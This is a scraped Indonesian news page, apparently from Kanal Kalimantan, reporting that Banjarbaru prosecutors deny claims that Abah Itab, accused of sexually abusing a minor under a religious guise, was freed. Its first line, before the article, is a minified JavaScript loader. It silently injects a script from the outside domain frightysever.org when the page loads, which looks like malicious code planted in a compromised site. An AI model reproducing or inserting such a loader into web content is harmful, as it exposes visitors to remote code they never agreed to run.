(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Kabar kasus pidana pencabulan berkedok agama yang dilakukan Abah Itab tidak dilanjuti, Kejari Banjarbaru pastikan kasus Abah Itab telah masuk P21 dan saat ini tersangka sedang berada di Lapas Cempaka, Banjarbaru.
Kepala Seksi Pidana Umum (Kasi Pidum) Kejaksaan Negeri Kota Banjarbaru Imam Cahyono membantah adanya isu bahwa tersangka dibebaskan dan tidak ditindak lanjuti kasus perkaranya.
“Tidak benar kabar itu, saat ini tersangka sedang ditahan di Lapas Cempaka Banjarbaru dan kasusnya juga sudah masuk tahap 2,†ujar Imam Cahyono.
Tersangka Abah Itab sendiri dikenakan pasal berlapis yaitu Pasal 81 dan Pasal 82 UU Perlindungan Anak, namun masuk dalam Undang-Undang perlindungan anak yang lama dengan ancaman 4 tahun penjara. Untuk saat ini dari korban yang masih melapor hanya 2 orang, satu dibawah umur dan yang satunya dewasa.
Kasi Pidum Kejari Banjarbaru memastikan berkas tersangka akan dilimpahkan besok ke pengadilan. Saat dilakukan pemeriksaan oleh Kejari Banjarbaru, Abah Itab berkilut bahwa dia hanya melakukan aksi 1 sampai 2 kali kepada korban di bawah umur.
Namun menurut Imam, alasan tersebut hanya akan memperberat hukumannya. Karena menurut keterangan korban, tersangka telah melakukan tindak pencabulan kepada korban sebanyak 20 kali.
“Kita lihat saja nanti fakta dipersidangan, semakin dia tidak mengakuinya maka semakin berat vonis hukuman yang dia dapat,†tegas Imam.
Sebelumnya Abah Itab ditangkap pada Kamis (24/1) oleh jajaran Polres Banjarbaru, karena adanya laporan salah satu korban di bawah umur berinisial M (20) yang tidak terima atas perbuatan dugaan pencabulan yang dilakukan pelaku.
Melihat hasil data yang ada di Kejari Banjarbaru dari awal tahun 2018 hingga akhir Februari, sudah ada 5 kasus pencabulan anak di bawah umur, 1 kasus berkekuatan hukum tetap, 1 kasus dalam proses persidangan, dan ada 3 kasus yang sedang dilimpahkan termasuk kasus Abah Itab. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.